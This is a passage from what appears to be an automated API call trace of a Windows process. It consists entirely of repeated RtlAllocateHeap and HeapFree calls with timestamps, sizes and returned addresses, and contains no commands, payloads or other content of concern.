Flags=0x0, Size=0x20) returned 0x3947d38 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.648] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.649] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.649] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.651] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.651] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.652] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.652] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.652] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.652] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.652] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.652] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.652] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.652] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.652] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.652] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.652] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.652] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.652] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.652] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.652] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.652] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.652] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.653] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.653] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.653] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.653] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.653] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.653] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.653] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.653] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.653] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.653] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.653] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.653] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.653] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.655] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.656] HeapFree 